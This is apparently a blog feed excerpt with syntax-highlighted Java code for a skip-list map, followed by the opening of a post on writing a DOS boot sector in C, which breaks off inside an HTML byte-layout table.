<span class="kn">import</span> <span class="nn">java.util.AbstractMap</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.ArrayList</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Collections</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.LinkedHashSet</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.List</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Objects</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Random</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Set</span><span class="o">;</span>

<span class="cm">/**
 * A probabilistically balanced {@link java.util.Map} ordered by key, as described in Pugh's
 * "Skip Lists: A Probabilistic Alternative to Balanced Trees". Keys must be non-null and mutually
 * comparable. Iteration order is ascending by key. Not thread-safe.
 */</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SkipList</span><span class="o">&lt;</span><span class="no">K</span> <span class="kd">extends</span> <span class="nc">Comparable</span><span class="o">&lt;</span><span class="no">K</span><span class="o">&gt;,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="kd">extends</span> <span class="nc">AbstractMap</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">MAX_LEVEL</span> <span class="o">=</span> <span class="mi">32</span><span class="o">;</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="kt">double</span> <span class="n">p</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">head</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">tail</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Random</span> <span class="n">r</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kt">int</span> <span class="n">level</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kt">int</span> <span class="n">size</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">SkipList</span><span class="o">(</span><span class="kt">double</span> <span class="n">p</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(!(</span><span class="n">p</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">p</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"p must be in (0, 1)"</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">this</span><span class="o">.</span><span class="na">p</span> <span class="o">=</span> <span class="n">p</span><span class="o">;</span>
        <span class="n">head</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Node</span><span class="o">&lt;&gt;(</span><span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
        <span class="n">tail</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Node</span><span class="o">&lt;&gt;(</span><span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
        <span class="n">r</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Random</span><span class="o">();</span>
        <span class="n">clear</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nf">SkipList</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">(</span><span class="mf">0.5</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">clear</span><span class="o">()</span> <span class="o">{</span>
        <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">clear</span><span class="o">();</span>
        <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tail</span><span class="o">);</span>
        <span class="n">level</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
        <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">containsKey</span><span class="o">(</span><span class="nc">Object</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="nf">findNode</span><span class="o">(</span><span class="n">key</span><span class="o">)</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">containsValue</span><span class="o">(</span><span class="nc">Object</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">while</span> <span class="o">(</span><span class="n">cur</span> <span class="o">!=</span> <span class="n">tail</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="nc">Objects</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">cur</span><span class="o">.</span><span class="na">value</span><span class="o">,</span> <span class="n">value</span><span class="o">))</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>

            <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">Entry</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;&gt;</span> <span class="nf">entrySet</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">Entry</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;&gt;</span> <span class="n">x</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">LinkedHashSet</span><span class="o">&lt;&gt;(</span><span class="n">size</span><span class="o">);</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">while</span> <span class="o">(</span><span class="n">cur</span> <span class="o">!=</span> <span class="n">tail</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">x</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="k">new</span> <span class="nc">SimpleImmutableEntry</span><span class="o">&lt;&gt;(</span><span class="n">cur</span><span class="o">.</span><span class="na">key</span><span class="o">,</span> <span class="n">cur</span><span class="o">.</span><span class="na">value</span><span class="o">));</span>
            <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="n">x</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="no">V</span> <span class="nf">get</span><span class="o">(</span><span class="nc">Object</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">node</span> <span class="o">=</span> <span class="n">findNode</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">node</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="kc">null</span> <span class="o">:</span> <span class="n">node</span><span class="o">.</span><span class="na">value</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="no">V</span> <span class="nf">put</span><span class="o">(</span><span class="no">K</span> <span class="n">key</span><span class="o">,</span> <span class="no">V</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Objects</span><span class="o">.</span><span class="na">requireNonNull</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
        <span class="nc">List</span><span class="o">&lt;</span><span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;&gt;</span> <span class="n">update</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">&lt;&gt;(</span><span class="nc">Collections</span><span class="o">.</span><span class="na">nCopies</span><span class="o">(</span><span class="n">level</span><span class="o">,</span> <span class="n">head</span><span class="o">));</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="o">;</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">level</span> <span class="o">-</span> <span class="mi">1</span><span class="o">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">;</span> <span class="o">--</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">while</span> <span class="o">(</span><span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">!=</span> <span class="n">tail</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">).</span><span class="na">key</span><span class="o">.</span><span class="na">compareTo</span><span class="o">(</span><span class="n">key</span><span class="o">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
            <span class="o">}</span>

            <span class="n">update</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">cur</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">cur</span> <span class="o">!=</span> <span class="n">tail</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span><span class="o">.</span><span class="na">key</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">key</span><span class="o">))</span> <span class="o">{</span>
            <span class="no">V</span> <span class="n">prev</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">value</span><span class="o">;</span>
            <span class="n">cur</span><span class="o">.</span><span class="na">value</span> <span class="o">=</span> <span class="n">value</span><span class="o">;</span>
            <span class="k">return</span> <span class="n">prev</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="kt">int</span> <span class="n">newLevel</span> <span class="o">=</span> <span class="n">randomLevel</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">newLevel</span> <span class="o">&gt;</span> <span class="n">level</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">level</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">newLevel</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">update</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">head</span><span class="o">);</span>
                <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">tail</span><span class="o">);</span>
            <span class="o">}</span>

            <span class="n">level</span> <span class="o">=</span> <span class="n">newLevel</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="n">cur</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Node</span><span class="o">&lt;&gt;(</span><span class="n">key</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">newLevel</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">prev</span> <span class="o">=</span> <span class="n">update</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
            <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">prev</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">));</span>
            <span class="n">prev</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">cur</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="o">++</span><span class="n">size</span><span class="o">;</span>
        <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="no">V</span> <span class="nf">remove</span><span class="o">(</span><span class="nc">Object</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
        <span class="nd">@SuppressWarnings</span><span class="o">(</span><span class="s">"unchecked"</span><span class="o">)</span>
        <span class="no">K</span> <span class="n">k</span> <span class="o">=</span> <span class="o">(</span><span class="no">K</span><span class="o">)</span> <span class="nc">Objects</span><span class="o">.</span><span class="na">requireNonNull</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
        <span class="nc">List</span><span class="o">&lt;</span><span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;&gt;</span> <span class="n">update</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">&lt;&gt;(</span><span class="nc">Collections</span><span class="o">.</span><span class="na">nCopies</span><span class="o">(</span><span class="n">level</span><span class="o">,</span> <span class="n">head</span><span class="o">));</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="o">;</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">level</span> <span class="o">-</span> <span class="mi">1</span><span class="o">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">;</span> <span class="o">--</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">while</span> <span class="o">(</span><span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">!=</span> <span class="n">tail</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">).</span><span class="na">key</span><span class="o">.</span><span class="na">compareTo</span><span class="o">(</span><span class="n">k</span><span class="o">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
            <span class="o">}</span>

            <span class="n">update</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">cur</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">cur</span> <span class="o">==</span> <span class="n">tail</span> <span class="o">||</span> <span class="o">!</span><span class="n">cur</span><span class="o">.</span><span class="na">key</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">k</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">level</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">prev</span> <span class="o">=</span> <span class="n">update</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">prev</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">!=</span> <span class="n">cur</span><span class="o">)</span> <span class="o">{</span>
                <span class="k">break</span><span class="o">;</span>
            <span class="o">}</span>

            <span class="n">prev</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">set</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">));</span>
        <span class="o">}</span>

        <span class="k">while</span> <span class="o">(</span><span class="n">level</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">level</span> <span class="o">-</span> <span class="mi">1</span><span class="o">)</span> <span class="o">==</span> <span class="n">tail</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">head</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="n">level</span> <span class="o">-</span> <span class="mi">1</span><span class="o">);</span>
            <span class="o">--</span><span class="n">level</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="o">--</span><span class="n">size</span><span class="o">;</span>
        <span class="k">return</span> <span class="n">cur</span><span class="o">.</span><span class="na">value</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">int</span> <span class="nf">size</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">size</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="cm">/** Finds the node for {@code key}, or {@code null} if absent. */</span>
    <span class="kd">private</span> <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="nf">findNode</span><span class="o">(</span><span class="nc">Object</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
        <span class="nd">@SuppressWarnings</span><span class="o">(</span><span class="s">"unchecked"</span><span class="o">)</span>
        <span class="no">K</span> <span class="n">k</span> <span class="o">=</span> <span class="o">(</span><span class="no">K</span><span class="o">)</span> <span class="nc">Objects</span><span class="o">.</span><span class="na">requireNonNull</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
        <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">head</span><span class="o">;</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">level</span> <span class="o">-</span> <span class="mi">1</span><span class="o">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">;</span> <span class="o">--</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">while</span> <span class="o">(</span><span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">!=</span> <span class="n">tail</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">).</span><span class="na">key</span><span class="o">.</span><span class="na">compareTo</span><span class="o">(</span><span class="n">k</span><span class="o">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span>

        <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="na">forward</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">cur</span> <span class="o">!=</span> <span class="n">tail</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span><span class="o">.</span><span class="na">key</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">k</span><span class="o">)</span> <span class="o">?</span> <span class="n">cur</span> <span class="o">:</span> <span class="kc">null</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">int</span> <span class="nf">randomLevel</span><span class="o">()</span> <span class="o">{</span>
        <span class="kt">int</span> <span class="n">lvl</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
        <span class="k">while</span> <span class="o">(</span><span class="n">lvl</span> <span class="o">&lt;</span> <span class="no">MAX_LEVEL</span> <span class="o">&amp;&amp;</span> <span class="n">r</span><span class="o">.</span><span class="na">nextDouble</span><span class="o">()</span> <span class="o">&lt;</span> <span class="n">p</span><span class="o">)</span> <span class="o">{</span>
            <span class="o">++</span><span class="n">lvl</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="n">lvl</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">class</span> <span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span> <span class="kd">extends</span> <span class="nc">Comparable</span><span class="o">&lt;</span><span class="no">K</span><span class="o">&gt;,</span> <span class="no">V</span><span class="o">&gt;</span> <span class="o">{</span>
        <span class="kd">private</span> <span class="kd">final</span> <span class="no">K</span> <span class="n">key</span><span class="o">;</span>
        <span class="kd">private</span> <span class="kd">final</span> <span class="nc">List</span><span class="o">&lt;</span><span class="nc">Node</span><span class="o">&lt;</span><span class="no">K</span><span class="o">,</span> <span class="no">V</span><span class="o">&gt;&gt;</span> <span class="n">forward</span><span class="o">;</span>
        <span class="kd">private</span> <span class="no">V</span> <span class="n">value</span><span class="o">;</span>

        <span class="nc">Node</span><span class="o">(</span><span class="no">K</span> <span class="n">key</span><span class="o">,</span> <span class="no">V</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">this</span><span class="o">.</span><span class="na">key</span> <span class="o">=</span> <span class="n">key</span><span class="o">;</span>
            <span class="k">this</span><span class="o">.</span><span class="na">value</span> <span class="o">=</span> <span class="n">value</span><span class="o">;</span>
            <span class="n">forward</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">&lt;&gt;();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span></code></pre></figure>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[Skip lists are a data structure that can be used in place of balanced trees. Skip lists use probabilistic balancing rather than strictly enforced balancing and as a result the algorithms for insertion and deletion in skip lists are much simpler and significantly faster than equivalent algorithms for balanced trees. (Pugh)]]></summary></entry><entry><title type="html">DOS Boot Sector</title><link href="https://crimsonglow.ca/~kjiwa/2010/09/dos-boot-sector.html" rel="alternate" type="text/html" title="DOS Boot Sector" /><published>2010-09-01T00:00:00-07:00</published><updated>2010-09-01T00:00:00-07:00</updated><id>https://crimsonglow.ca/~kjiwa/2010/09/dos-boot-sector</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2010/09/dos-boot-sector.html"><![CDATA[<p>I’ve been interested in writing an OS for a long time now. An OS consists of many components with one of the most fundamental being its booting mechanism. Had I been writing a production OS, I would have made use of a package such as GNU GRUB or LILO. However, as a hobbyist I was interested to know exactly what my PC was doing during the boot process. I decided that a good way to start would be to study a simple operating system – MS-DOS. An MS-DOS boot sector has a very simple job: load the first 3 sectors of IO.SYS into memory and execute it.</p>

<p>After your BIOS completes its POST, an IBM PC compatible computer will read the first 512 B block from disk into memory at location 0x07C00 and begin executing it. The last 2 B of the boot sector must have the value 0xAA55; this value is known as the boot signature. This leaves 510 B for code.</p>

<p>MS-DOS expects the disk to be formatted with the FAT file system and will populate the boot sector with an 8 B OEM name and a 51 B data structure known as the BIOS parameter block. The first 3 B are expected to contain a jump instruction. This finally leaves us with 448 B for code. Had I been writing a production DOS boot sector, I would have written the code in an assembly language under such extreme constraints. However, as a philocalist and masochist I felt compelled to write legible code and decided to use C.</p>

<div class="dos-boot-sector-table">
  <table>
    <tbody>
    
    
      <tr>
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
